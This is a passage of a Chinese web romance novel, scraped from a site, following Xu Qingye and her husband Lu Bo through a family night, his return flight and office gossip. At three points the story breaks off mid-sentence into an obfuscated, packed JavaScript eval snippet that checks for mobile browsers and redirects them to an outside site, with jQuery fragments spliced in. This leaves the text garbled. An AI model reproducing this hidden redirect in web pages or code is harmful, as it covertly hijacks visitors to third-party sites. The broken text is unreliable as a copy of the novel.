许清也的视线撇过他搁在一边的塑料袋,接连看见了一连串崭新的洗漱用品。 “求你收留我的意思。” 他摆好她的帆布鞋,站起身来,垂眸去看她的表情。明明是高出她一大截的角度,路薄的目光却不带着上位者的高度感。 用坦诚的目光,他正在征求她的意见。 许清也坐在床边,这个角度上微微一仰下巴,她的目光就能水平对上他看上去清瘦的腰腹。 他换了件颜色鲜亮的薄毛衣,款式宽大,许清也却能脑补出毛线下壁垒分明的肌肉。 她忽然紧张地咽了口口水。 成年人之间暧昧果然更直接刺激,许清也想把房间里节节攀升温度归罪于房间里充足的暖气,到头来还是暴露了加速的心跳声。 美色当前,她还没忘记要紧事。 “等等,我还有个重要的问题要问你。” 一指禅抵住他硬邦邦的腹肌,许清也清了清嗓子把人推开半步。 路薄配合她轻飘飘的力道退开半步,低头看着她颤动的指尖,假装没发现她可爱的私心。 “问吧。”他佯装严肃了神色。 “许小姐的问题,有问必答。” “倒也不用那么严肃了。” 被他变着花样的称呼撩到了,许清也恋恋不舍地感受了一下指尖硬邦邦却带着弹性的触感,若无其事地收回手。 等到话出口的时候,才想起来心虚。 “就是……想问问你生日是什么时候。” 男人挑眉的动作带着点无奈,薄唇急不可察地带着委屈轻瘪一瞬。 “十二月二十五。” “十二月?” 许清也好像有点意外,不甘心地回味着数字,最终咬着唇叹了口气。 “失落?”路薄敏锐地察觉到她奇怪的态度,幼稚地点出来追问。 老实说,他还是很在意许清也上次说的——初恋的生日。 那串数字,她可是多少年如一日地当成某种代表自己的标志物用着。 “有一点啦,那你岂不是比我小?” 情绪外露得有些明显。许清也当然知道路薄比自己大两岁,可这时候也只能拉出这理由来挡一挡。 如果不是当事人,当然谁也没办法想到她的想法。 “在民政局门口的时候对着结婚证看得那么认真,我还以为你知道呢。” 路薄显然也对她的借口深信,在她身侧坐下,从背后环抱住她。 “放心吧,你男人比你大两岁。” 他闷笑着喂叹。 男人温热的呼吸扑在她的颈窝边,他淡青冒头的胡茬蹭在她颈侧细嫩的皮肤上,比起微弱的刺痛,更多的是摩擦间蹭出的淡淡的痒意。 许清也一下红了耳尖。 什么生日,什么20140831,统统都飞到了比屋顶和窗外更高的远空。 脑子里只剩下他那句糙中张力暗涌的“你男人”。 贴在一个火力旺盛的男人怀里,在这种湿冷的天气里,舒服归舒服,颈间的每一寸肌肤却很容易被他灼热的呼吸激得无法控制地起鸡皮疙瘩。 更何况他还靠在她颈窝闷笑着颤动。 暧昧超标的气氛下,许清也几乎轻轻颤栗在他炙热的怀中。 “咚咚咚—” 门口传来一震强盗打劫似的敲门声。 好不容易敲门声停下了,又接力着响起许至言克制的吼声。 “你小子给老子滚出来!” 许清也瞬间回神,推着男人赖在她肩膀上的脑袋催促: “起来,哎…快起来嘛。” 路薄生平第一次用“可恶”两个字形容一种敲门声。 他佯装没听见地赖在她肩膀上不抬头,计划不奏效,才压低声音问: “我们就不能当成没听见吗?” 他声音里满是工业感十足的委屈,一点也迷惑不了已然清醒的许清也。 像是听见了他们的耳语,路薄话音刚落,门口紧接着响起一阵更急促的敲门声。 许清也从他怀里钻出来,捋平衣摆,转身要去开门。 “明天,我得回江城了。” 许清也错愕地垂眸。 “有些必须要处理的事情等着我回去处理。” “我在江城等你回来。” 他拉住她毛衣衣袖的手慢慢松开,抬头解释的时候,许清也才看清他唇角温柔的笑。他眉梢没藏住的忐忑让她恍惚想起他们决定领证的那晚。 那天在医院嘈杂的走廊上,路薄也是这样笑着,拉着她的手腕让她一定要在这等他。 一定,等到他拿到户口本回来。 “那,约定好喽。” 她弯唇回以同样的笑,给出了和那晚一样的回答。 门口焦躁的敲门声愈演愈烈,甚至还开始参杂叫喊。 “别以为你不出声我就不知道。” “你小子……” 门吱呀一声被推开,许至言看着门后“孤零零”站着的许清也,怒火中烧的表情生动地在他脸上展示了什么叫做皲裂。 “什么老子小子的。” “许至言,怎么这么没大没小的呢?” 她一皱眉,许至言就哑了火。 直到路薄姗姗来迟地站到许清也身后,才终于忍不住指着她身后的男人骂道: “谁让他玩阴的。” “买个牙刷毛巾还买到姐你的房间来了,居心何在啊?” “姐,你没吃亏吧?” “整天想什么呢?” 许清也佯装严肃地斥道,背在身后的右手却不自在地蜷起掌心。 指尖好像还残留他腹肌柔韧而富有弹性的绝佳触感。谁吃亏好像还真不一定。 “一个两个赶紧回去睡觉。” 她像赶小孩似地把两人推出房门,故技重施地关上了门。 回房间的几步里,许至言一直坚持朝路薄投以鄙视的目光。 如果说刚才隔壁房间里的气氛应该用“火热”形容,那么现在这间大概是百分百意义上的反义词。 两个大男人躺在一米八的大床极端意义的两侧,中间隔着足以再睡下两个人的距离。 气氛诡异的尴尬,许至言左右翻着身,满脑子许清也刚才“维护”路薄的样子,一颗心简直要操碎成粉末。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903308|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑暗中悉悉索索的声音扰得路薄紧锁着眉头。 作为当年联姻的重要参考因素之一,他当然知道许清也有个同父异母的弟弟。两人只相差三岁,许清也的父母却是在她高三那年离婚的,这中间意味着什么,不言而喻。 不过当初路氏得到的消息,都是说他们姐弟相处亲密和睦的。 这中间发生了什么,一定是造成许清也现在心里那道隔阂的重要信息。 回江城的航班明天傍晚起飞。 今晚,大概是弄清楚这其中故事的最好机会了。 路薄无奈地揉了揉眉心,正要开口,不期被抢了先。 许至言攥紧了拳头,像是下定了某种决心,霸道地开口道: “从现在开始我问你答,不准迟疑,不准回避。” 黑暗中,路薄虽然意外,却也爽快地应道: “行。” ——“姓名。” “路薄。” ——“年龄。” “28岁。” ——“职业?” “地质研究员。” 另一边明显沉默了两秒,路薄换了种通俗的说法回答。 “研究地质的,在江城地质院工作。” 许至言不自觉点了点头。 平缓的问题后,理所当然地进入了尖锐的出击阶段。 ——“个人名下财产。” …… 这下轮到路薄卡了壳。 成年之前,爷爷给他每年的生日礼物都是集团的股份。更别提蒋影后流水一样给他买的定制衣服跟名贵的西装配饰,还有路向明送给他半地库的豪车。 工作后,研究院的工资虽然不算高,但他物欲一向不高,林林总总攒到今天也是一笔客观的数字。 不怪他要犹豫,实在是名下的财产有点多,不知道该从何说起。 只不过他这一犹豫,更落实了许至言心中的担心: 看起来富的不一定是富家公子,还可能是骗子。 许至言硬气地警告道: “我警告你,如果冲着钱,别打我姐的主意。” “她看起来是许氏的大小姐,其实穷得很,一分钱多余的钱也没有的……而且,我才是儿子懂不懂?今后许氏也不可能落到她头上的。” “你骗她,到头来一分也落不着。” 他好像有所误会,想不到更快说清楚的方式,路薄脑子一热,选择了最直接也最冲击的一种。 “我是你姐两年前的订婚对象。” 收获了满意的安静,路薄接着补充: “路氏,你应该是知道的。” 从骗子到路氏大公子,这跳度实在是太大了。 许至言懵了两秒钟,才消化完了他短短的两句话。回过神来,他开口太急,还被口水给呛了两声。 “那什么,我刚才是误会了,所以骗你的。” “许氏肯定是我姐的,我自己在创业,以后一分也不会要许氏的钱,那些都是我姐的。不过我不是无条件让的,要是你敢觊觎我姐的钱,别怪我一分一分要回来。” “我警告你,你……对我姐好点。” 空气中是漫长的静默。 路薄短促地应了一声好,一直以来为她纠起的心脏终于欣慰地放下片刻。 “最后一个问题。” “你跟我姐是什么关系?” “夫妻。” 几乎没有犹豫的回答中,许至言听见了路薄名为幸福的笑意。 这次轮到许至言沉默片刻。 月影透过窗户照进来,屋内却不能穿过帘子看清窗外的树影。 风声萧瑟,许至言对刚才的话反悔了。 他还有真正的最后一个问题要确认。 于是他终于睁开眼,声音沙哑地开口问: “那,你爱她吗?” 45. 小富婆 “飞机即将起飞,各位旅客,请您将安全带系好……” 整座城市的山川湖泊逐渐变小,从视线中模型大小的色块变成云层下若隐若现的碎片。 黄昏时分的云层上是一片温柔的橙黄,连绵翻滚的云海映照着落日的光晕,一直延伸到橙色与蔚蓝天际的交接。 不是头一回坐靠窗的位置,路薄却头一次举起手机拍了一张窗外云海的照片。 因为有想分享的人。 飞机上发不出消息,他拍完就收回了手机,随意翻着相册里不算多的照片。 划到除夕夜的日期,指节在隔着马路拍的一张远远的照片上顿住。 照片里的许清也裹着小毯子,正表情强势地抢走许至言手里的酒杯。 火光跳跃中照亮她的脸颊,红扑扑地,鲜活而生动。 唇角先于大脑一步做出了判断,弯起愉悦的弧度。 照片久久不翻动,黑漆漆的显示屏反射出男人不掩愉悦的表情,他才意识到自己再一次漾起笑意的唇角。 所以当然是不需要犹豫的回答。 答案只会是爱。 不是一点,而是很爱很爱才对,从很多年前的雨夜开始,就是从未改变过的心意。 只是路薄怎么也没想过这种肉麻表白的话,第一次居然是在许至言面前说的。 荒唐吧?他也觉得。 不过假设是真的站在许清也面前,他大概会偷偷掩饰着深呼吸,做很久很久的准备,最后说不定还会紧张到逃跑。 这次顺顺利利说出来,也算是一次成功的预演吧。 大概算是,赢得了第二个来自她娘家人的认可? ——— “说吧,怎么回事。” 民宿房间内,迟枣枣拉来一条靠背椅,坐在床前几步,抱臂开始了她的“审问”。 许清也靠在床边抱着相机整理照片,抿唇含糊道: “什么怎么回事…不都说过了吗。” 迟枣枣被她没良心的话直接气笑了,掰着手指头数给她听: “首先,住602那家伙是特地来找你的吧?” “算是吧。” 相机正好翻到她偷拍的背影照上。 ——男人背着她的登山包,修长的大手随意搭在保护区栈道的护栏上,正举着她小巧的奶白色望远镜眺望湖另一端栖息的候鸟。 “你们到底什么关系?” 许清也心虚地抬头,本来想实话实说,脑中忽然闪过去年两人抱着薯片在驿站骂路薄的画面。 偶像剧里的男女主爱的死去活来,她俩交流了一下路薄种种不近人情的“罪行”,然后展开了一场中心明确的吐槽大会。 这罪行包括但不限于把送暖居礼的许清也拒之门外、拒绝参加业主大会和任何投票,以及对小区里热情地跑过来喊叔叔的小朋友们视而不见地躲开。 迟枣枣那时候还在脱粉路远的边缘,虽然嘴上封心锁爱了,追的还是路远的剧。 现在想想,心中的天平倾了方向,心里就开始偏心地开始忍不住为他找借口。 当时骂得有多狠,现在就有多脸疼。 “非要说的话……他算是在追我?” 于是在迟枣枣期待的目光中,她憋在嘴边的坦白终究只做到了一半。 “那你那个闪婚帅哥呢?到底是谁?” 迟枣枣依旧抱臂靠在椅背上,她可没打算这么轻轻放过追问的机会。 瞒了一次,就有两次三次。 许清也可算是彻底懂了一个谎要用无数个谎来圆的道理。 顶不住迟枣枣地网式的盘问,她干脆直接放出了杀招。 “那你先告诉我那天路远怎么会在酒吧?” “我看他那身衣服,怎么觉得那么眼熟来着。” 许清也瞬间反客为主,眯着眼反问,像只慵懒却不好糊弄的小猫咪。 她的确想问很久了,那天分明看见路远穿了一件卡通T恤。凑巧,秋天的时候她刷到一条独居女生tips,说是在阳台上挂一件男士衣服可以有效降低被坏人盯上的概率。 想到迟枣枣,网购男士T恤的时候,许清也顺手团购了两件,丢了一件到迟枣枣家。 直到她那天拎着行李上门之前,那件T恤都还大剌剌飘扬在迟枣枣家的阳台上。 “大众款吧可能。” 迟枣枣打着哈哈含糊过去,倒也没再追问刚才的话题。 许清也若有所地地低头翻相片。 怎么看怎么眼熟,她原本也以为只不过是因为大众款而已。可迟枣枣这个略显反常的态度一出,就显得耐人寻味许多。 话题结束,迟枣枣问了个没趣,逃跑似地去楼下找其他人玩飞行棋了。 房间静下来十几秒,许清也目光试探地朝门口探了一眼。 下床一蹦一跳地拉上房门,才扑回柔软的大床上,忍不住抓起了手机。 就快七点了,这个时间路薄应该已经下飞机了吧? 她点开对话框指尖飞舞着打出一排字,又一个个按着删除键删掉。 新消息还没编辑完,那边就先发过来一张落日云海的照片。 【已经下飞机了吗?】 消息刚一发出去,许清也就尴尬地有点想撤回。 飞机上又发不出照片,这句话显得比之前的那句还要多余。 对面显示了几秒正在输入中,她等了几秒,结果直接弹过来一个电话。 “喂?” 许清也以为他有什么急事,迅速接了电话。 “是掉了什么东西在这边吗?” 比较着急的事情里,她唯一能想到就是这个了。 “嗯。” 手机收音压缩后的声音显得路薄的声音更沙哑低沉一点,她分不清是话筒的原因,还是因为几小时飞行的疲倦。 “是掉了点东西。” “把我老婆落那了。” 随意寻常的语气,许清也的心脏却不争气地漏了半拍。 他叫的倒是顺口。 自从她收下那串萤石手链,两人和好之后,许清也总感觉印象里那个刻薄还生人勿进的他不知道消失到哪里去了,取而代之的是一个幼稚还油嘴滑舌的他。 忍不住笑了一声,她才摸着手腕上的萤石傲娇地问: “这么肉麻的话,跟谁学的?” “路远演的偶像剧。” 这种时候他倒也是诚实。 隔着远远的空间距离,两人同时默契地笑了。 “没事,” 听筒里隐约传来关车门的声音,许清也想起他那辆留在民宿的车,正要问他该怎么运回江城,就听见他肉麻的二连击。 “我只是,突然想听听你的声音。” “这句又是跟谁学的?”她忍着笑问的熟练。 “这句是心里话。” 路薄好像已经连上了蓝牙导航,混杂着机械的导航声,许清也还是听出来他声音里故作的委屈。 心空。 许清也抱着手机卷着被子,甜蜜的气息几乎要从空气中溢出来。 她不好意思地转移话题问起车: “那你的车,怎么办呀?” 知道她伤了腿不方便开车,路薄说是要留下来给迟枣枣开,免得荒郊野岭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914654|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点事,不方便出门。 虽然许至言晃着手说明他也有车,并且不比路薄少,但还是被路薄淡淡睨了一眼,直接忽视。 “等你们回江城,会有人去开的。”路薄好像是刚刚想起什么,补充道,“先别管这个,打开相机包的隔层看看。” 许清也把手机夹在耳边,伸手去翻相机包,果然从内侧的拉链夹层里翻出来一张银行卡。 有那么一秒钟,她脑中闪过关于黑卡的幻想。 电视剧里不都那么演吗,何况他们还是“豪门联姻”,给张黑卡好像是基本操作。 可真正拿出来左右看了看,却像一张再基本不过的银行卡。 左看右看,也没什么特别。 “忽然给我卡做什么?”她奇怪地问。 像是隔空装了摄像头,路薄一句戳穿了许清也一闪而过的幻想。 “不是黑卡,不过也是我一分一分存的全部家当了。” “工资卡上交一家之主,不是基本常识吗?” 许清也被他一句“一家之主”逗笑了,反问道: “一家之主,是我吗?” "当然,我们家的一切都是你的。" “我的工资、芝士,还有我,都归你管,这还不算一家之主吗?” 想不到他还有这么“俏皮”的一天,许清也捏着那张薄薄的银行卡对着床头灯看了又看,然后宝贝地收回了包里。语气还是佯装盛情难却地答应: “好吧,那我就勉为其难地管一下吧。” 门把手转动半圈,迟枣枣打着哈欠姗姗而归。 还在煲电话粥的许清也转头看了她一眼,匆匆挂掉了电话。 迟枣枣洗了个战斗澡,用毛巾搓着头发从浴室里出来。刚推门而出,就被撑着墙跳到门口的许清也吓了一跳。 “你干嘛?” 一副迫切等待的样子,加上那双亮晶晶的鹿眼,要不是很确定许清也的性取向,她都要怀疑许清也是不是趴在门口偷看她洗澡。 “枣枣,”许清也神神秘秘地压低声音,“你说地质院的研究员一个月能有多少工资啊?” 迟枣枣被她莫名其妙的问题整的一懵,无论如何还是先估摸着答道: “大几千?听说不是很高来着。” “这样啊。” 听到她的回答,许清也肉眼可见地低落了一个度,不过那一脸幸福的甜蜜还是几乎要从她酒窝里漏出来。 就算不高,听说路薄念硕博的时候提前毕了业,也是工作了好几年了。那张卡里怎么说应该也有个可观的数字。其实她还稍微算错了一项,路家这种级别的“豪门”,从小到大的压岁钱可不是盖的。 迟枣枣被她的笑激起一胳膊鸡皮疙瘩,想起路薄好像也在地质院工作,冷飘飘破她凉水道: “不是追你呢吗?八字还没一撇,合计人工资干嘛,先处理好你那糊涂婚吧。” “反正怎么着也不会比你家更有钱。” 许清也憋着嘴角微弱的抽搐,心虚地想: 八字早就撇完了,而且路薄家还真比她家更有钱。 口袋里的手机叮咚一声,是她给路薄设定的特殊铃声。 许清也忍不住笑着掏出手机看消息。 迟枣枣看着她那藏不住一点的笑意,心里头无语地一堵,最后还是跟着笑了起来。 就又想她了吗? 许清也心理钻出美得只张牙舞爪的小猫,迅速划开消息。 【许至言回江城的时候,我们也请他来家里吃饭吧?】 【星际酒店也请吧。】 【小富婆,现在你也都请得起了。】 46. 恋爱了吗 江城地质院最近有点小小的信息地震。 最近不管是食堂还是休息室,原本工作起来总是把手机落在办公室一整天的路工程师居然开始手机不离身。据可靠情报,近日他午休时间看着手机发呆和“傻笑”的概率高达百分之九十。 办公室的几位已婚人士交换一道意味相同的目光,得出了一个让研究院一众未婚女青年心碎的结论 ——路工程师肯定是恋爱了。 “也不一定吧?” 站在打印机边上等待的石宇竖起耳朵听前辈们讲八卦,没想到桃色的火居然烧到了顶头上司的身上。 他弱弱一句话瞬间吸引了热聊的前辈们好奇的目光。 毕竟路薄一直很照顾他,看起来他这话,像是知道什么内情似的,倒也不意外。 石宇前几个月才跟路薄在丰城工作过一段时间,那时候他也没见路薄有要定时报备的对象。 况且要说关注,路薄对地理杂志的关注度都比女人高得多。尤其路薄最近连周末都泡在单位,哪有时间约会? 顶着前辈们好奇的目光,石宇扯着打印纸压低声音,悄悄道: “他最近这种症状,我游戏升段位的时候吧,也有过。” 竖起耳朵期待八卦的众人齐刷刷切了一声,失望地转回头各自忙起来手上的工作。 石宇皱了皱鼻子,没趣地抱起资料回办公室。 不知道是不是因为刚才听到的种种八卦,他一进门,视线就忍不住飘向路薄的工位。 “嘶……神算吗都是。” 这一瞟,石宇就忍不住余光朝着路薄的方向飘了一眼又一眼。 亮着的手机屏、嘴角帅气却诡异的笑、明明没在看资料却戴上了金丝眼镜…… 真的是跟前辈们交换情报中复述的一模一样。 而作为朝夕相处的下属研究员,他居然迟钝到一点都没发现不对劲。 石宇把辛苦从档案室搬过来的资料跟刚才打印好的堆在桌子边,穿得太多,进进出出一趟还有点热得慌。 拿起水杯狂灌了一口水,他目光无意中路过路薄办公桌的方向。 不看不要紧,这一看更差点让他忍不住把嘴里一大口水都喷出来,花洒式让面前的资料全线阵亡。 ——路薄今天万年不变的衬衫衣领上居然系着一条黄色条纹的领带。 倒不是说不合适他,只是从来没见过他这样的风格,咋还一看还有点不习惯。 更夸张的是,以前连聊天都嫌弃浪费生命的路工程师,居然、好像,是在工作时间举起手机自拍了吧? 飞快地按下快门键,路薄低头确认了一下他的脸在镜头中“依旧帅气”,才满意地点击了发送键。 屏幕对面很快传来回复。 【不愧是我的眼光,就知道这条肯定好看。】 【帅气满分.jpg】 表情包是许清也跟迟枣枣一块自制着玩的。 图片里的女孩竖着大拇指,看起来极力想要严肃一点,却没忍住破功地笑了起来,一双灵动的鹿眼弯成了月牙。 不知道聊天内容触及了什么关键词,聊天框里开始簌簌落下来满屏幕的爱心。 路薄压下嘴角的弧度,冷着脸指尖长按,收藏了该表情。 放下手机,办公桌的玻璃竖板外却隐隐有一道直勾勾的直线穿透玻璃紧紧扒在他身上。 “石宇,项目地点近几年的测绘资料整理完了?” 端着水杯傻楞的男孩木木地点点头,一秒回过神来,又拨浪鼓一样地摇了摇头。 “路哥,我还有一年的没完全整理完。” 他熊熊燃烧的八卦之火瞬间浇灭,手忙脚乱地翻找起资料来。 “今天结束前整理完就行了。” 路薄扶了扶金丝镜框,重新投入眼前的工作中。 果然忙到中午,石宇还是没能把最后一年的整理完。 桌上的资料堆成了一小座堡垒,他看着看着忍不住趴地越来越低,完全没感觉到时间的流逝。 “扣扣——” 路过石宇桌子前,路薄停住脚步,往人桌面上不轻不重地敲了两声。 “先吃饭。” 丢下一句话,他长腿一迈,人就出了办公室。 午休时间,路薄端着餐盘在食堂的老地方坐下,才刚刚划开手机锁屏,余光中桌对面就出现另一份餐盘。 “路哥,多亏你刚才喊我来吃饭,要不然这些个菜我肯定是抢不上了。” 石宇一筷子夹着盘子里的半只蟹,哥俩好地往路薄菜盘里放。 “只是顺手提醒。”…但我记得我好像没有约你一起吃的意思。 路薄盯着餐盘里鲜红诱人的半只蟹,想起许清也前两天半是玩笑半是认真的话,还是乖乖把后半句话给咽下去了。 石宇来研究院之前,大多数时候路薄中午都是一个人吃饭的。 一则他讨厌享受美食的同时还要处理人际关系,二来拒绝的多了,他一个人坐在这块角落吃中饭好像也成了约定俗成的事情。 研究院食堂的桌子多的是,其他同事顶多打个招呼,也不会自讨没趣的非要凑上去。 路薄咽下了后半句话,基本上是约等于是默许了石宇坐下来。 “路哥,你不厚道啊。” “嫂子这么漂亮,还瞒着大家?” 石宇一坐下来就眼尖地瞥见了路薄的手机桌面。匆匆一瞥,也能看出来是个漂亮的女孩坐在游乐园长椅上吃东西的照片。 女孩长着一张娃娃脸,打扮知性清爽,一看就是脾气不错的类型。 他暗戳戳惊讶,本来以为路薄这种冷冰冰的男人应该会找程工程师那种一样高傲有个性的女人才能压得住,没想到未来嫂子居然是这种style。 路薄立刻暗灭了手机屏幕,惜字如金地答道: “的确很漂亮。” “我也没瞒过。” 石宇一看他那小气样,立刻见好就收,安静吃起饭来。 只不过这顿饭注定不平静。 两人刚吃了一半,路薄身边的位置就又放下来一个餐盘。 “程教授?” 石宇惊讶地喊了声。眼神在面前的两人中间转了一圈,感觉到程教授有话要说,他立刻有眼色地三下五除二吃完饭,匆匆跟离桌了。 听到他的称呼,路薄原本皱起地眉头无奈地散开。 他是石宇的上司,程教授则是他的顶头上司。出去这层关系,当初刚到研究院的时候程教授就一直对他照顾有加,关系可以说是亦师亦友。 不过程教授肠胃不好,不论中午晚上,一向都是要回家吃夫人做的饭的。在食堂看到他的次数可以说是屈指可数。 “教授,您今天怎么来食堂了?” 路薄抬头看身边低头吃饭的程教授,总觉得他是无事不登三宝殿。 程教授拨着盘子里的口感干老的菜叶,心里也是一百个叹气。 要不是看不下去侄女那副嘴硬心里头难受的样子,他才不想放着家里香喷喷的饭菜不吃,跑来这里啃干叶子。 “明天晚上科里聚餐,听你们年轻人的,最后好像是选了家烤肉店。” 程教授一口气完成任务般地讲完,最后还确认似地问: “我这个老古板都去,你不会不去吧?” 程教授话都说到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930007|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份上了,路薄哪可能拒绝。 当然是点点头应承下来。 看着他毫无波澜的表情,程教授不由在心里长叹了口气,又想起最近科里说路薄谈恋爱了的传闻。 他家那个傻侄女喜欢谁不好,要喜欢这么个冰刺一样连捂都没处下手的男人呢? ——— 日暮西沉。 路薄把车停到了地下停车场,按电梯楼层的时候忽然想起来一件事,在一楼就下了电梯。 前几天他发衣柜照片给许清也看的时候,许清也嫌弃地在他的西装区域犹豫了半天,问他自己能不能选另一边的家居服。 毕竟这男人的衣柜实在是割裂的很厉害,穿出门的衣服清一色的黑白灰西装加冲锋衣。 家居服就显得五颜六色多了,有些图案可爱到许清也都悄悄计划抢过来的可能性。 【领带怎么全都是一个颜色的呀?外套都是一个款式,你真的分得清哪件是哪件吗?】 许清也甩过来一长串问题,显然语气也很无奈。 明明是路薄自己要她帮他搭衣服,挑起了她跃跃欲试的心理,一整个衣柜的黑白灰却一点发挥空间也不给她留…… 然而路薄却比她想象的还要固执,争取半天,都不能接受黑白灰之外颜色的外套。 【算了,我给你买点领带。】 【领带总可以接受黑白灰以外的颜色了吧?】 她的语气里已经带上了丝丝压抑的无奈,路薄沉吟片刻,不敢再惹她生气,终于点头同意了这一点。 紧接着就是稀稀拉拉收不完的快递。 除了今天用的这一天黄棕色条纹的,还有一大堆写着他名字的包裹显示在驿站等着。 迟枣枣还陪着许清也留在盐湖山,驿站暂时是迟阿姨帮着打理。 路薄一进门口,迟阿姨就热情地招呼他: “来拿快递的吧小伙子,进来等进来等,外面风多冷啊。” 迟阿姨这段时间跟路薄也算是熟悉了,不用路薄报尾号,就查着位置找快递去了。 她一口气找出来十几个大大小小的包裹,放在地上辨认收件名。 察觉到路薄盯着满地包裹的目光,迟阿姨善意地笑着解释: “你跟小也的手机尾号一样,阿姨得仔细分一下。” 想起来他可能听不懂“小也”是谁,她接着补充道: “就是上回跟你拿错快递那姑娘,听枣枣说你们俩刚好还住上下楼,这缘分也还挺巧的。” “嗯。” 路薄听到后半句,淡淡嗯了一声,风轻云淡地道: “阿姨您不用分了,一起出库吧?” “啊?” 迟阿姨疑心是自己年纪大了耳朵不灵光,惊讶地抬头。 “咳咳—” 路薄指节抵着鼻尖轻咳两声,视线飘忽地解释道: “她拜托我顺路帮她带上楼。” 迟阿姨犹豫了两秒,直接一块帮他出库了。东西太多不好拿,还贴心地给他拿了个卡通袋子一块兜走。 来回折腾一趟,走到单元楼下的时候天已经彻底黑了下来。 单元楼下的这盏路灯闪烁两下彻底亮起来,迟钝了两秒,剩下的路灯也都沿路亮了起来。 路薄拎着一袋子快递,在单元门口顿了一秒。 许清也带着帽檐毛茸茸的帽子,小巧通红的鼻尖埋到衣领里,缩着袖子躲雨的样子好像是昨天才看见的一样清晰。 【什么时候回来?】 他从西装口袋里掏出手机,给许清也拍了一张快递的招牌。 【你的快递都在我家等你。】 【我也是。】 47. 辛苦费 “哥?路哥?” 初春的傍晚,太阳落山的时间已经开始延迟,不过日落的时间仍然很短暂。 几乎是一瞬间,天空变得一片漆黑,街道的路灯就全部亮起来了。 路薄抿着玻璃杯里的白开水,指节有一搭没一搭地轻敲着桌子,盯着玻璃窗出神。 手肘忽然被人撞了一下,打断了他的思绪。 他皱着眉回头,石宇正挤眉弄眼地小声提醒他: “哥,程教授跟咱们桌碰杯呢!” “知道。” 视线划过对面端着酒杯正起身女人,路薄就着手上的白开水起身。 “砰——” 玻璃杯相撞,发出清脆的响声。 在一堆啤酒、白酒混杂的酒杯中,他杯子里的白水倒是勉强不算明显。 左右看了圈,好像没什么人在意,石宇悄悄松了口气。这口气还没完全放下,隔壁桌一直沉默的某位前辈忽然冷不丁开口。 “大家都喝着酒呢,白开水算什么意思?” 这还是科里头一次把聚餐放在时髦的烤肉店,这家的档次也算是大餐一顿了。唯一的缺点就是桌子小,分了几桌坐。不过几桌就隔着一条很窄很窄的走廊,大家觉得跟一桌也没区别。 确实,这种时候的确是没区别。 两桌人都把这句带刺的挑衅听的清清楚楚。 刚碰完杯说说笑笑的众人气氛骤冷,都尴尬地维持着笑意。 喝白水的脾气怪,招惹不起,说风凉话的看起来人模狗样,实际上更是个“疯子”。谁都不敢掺和一脚,不约而同地偷偷用余光瞄向这里资历职位都稳第一的程教授。 程教授也是一阵头疼。 路薄聚会喝白水也不是第一次了,他不喝酒那是人尽皆知的秘密,游煜这家伙不知道吃错什么药了,偏要今天跟他不对付。 “聚餐嘛,大家开开心心的就行……” 一眼就瞄到侄女在偷偷看路薄,程教授心里摇摆不定的天平还是忍不住偏向了路薄。 “白开水和白酒有什么区别吗?” “叔叔,您说对吧?” 程遇收回目光,偏头跟程教授碰个杯,一仰头,把杯子里浅浅的白酒一饮而尽。 她虽然依旧语气冷淡,但众人也都当玩笑话看,捧场地笑了起来,转头称赞程工程师一个女孩,酒量真的是海量。 气氛回温,大家刚要坐下来,路薄忽然长臂一展,拿起石宇左边的酒瓶,给自己重新倒了浅浅一层的量。 不多不少,正好跟程遇杯子里的一样。 “程工程师说的没错,都一样。” 话落,在众人惊讶的目光中,他喉结翻滚一瞬,居然也把杯子里的白酒都给喝完了。 酒杯翻转过来,展示了几秒一滴不剩。 路薄玩味地撇了一眼隔壁桌兀自倒着酒喝的游煜,才轻笑一声坐下。 “都一样都一样!” 酒杯在烤架的热气中交舞,席间又恢复了刚才热闹的气氛。 石宇偷撇了一眼真的干干净净的酒杯,又回头看了一眼刚才还刺头一样的游工程师。 这会儿游煜倒是一副全心全眼都是酒精的样子,眼神都没分过来一秒。 “路哥你这何必呢?唉……” 一看旁边这男人耳朵通红,盯着手机黑屏不知道琢磨什么的样子,石宇就想心累地捂脸。 不用说,一会儿肯定得要他开车送回家了。 “莫名其妙的人情不想欠。” “送我一回,你很委屈?” 路薄像是脑后勺也长了眼睛似地,冷不丁一问,吓得石宇连忙点头。 “没没没,荣幸得很。” 路薄这会儿正盯着手机屏幕等许清也的消息,没功夫跟他扯,小幅度地摆手道: “送完我别打车了,直接开我车回去。” 从昨晚他问许清也什么时候会来开始,她一共就回了两句话。 一句是: 【快了。】 另一句是他早上在试衣镜面前凹了半天,拍了张看似展示领带效果实则不经意露出俊脸的照片发给她的时候。 许清也非常敷衍回了句: 【帅。】 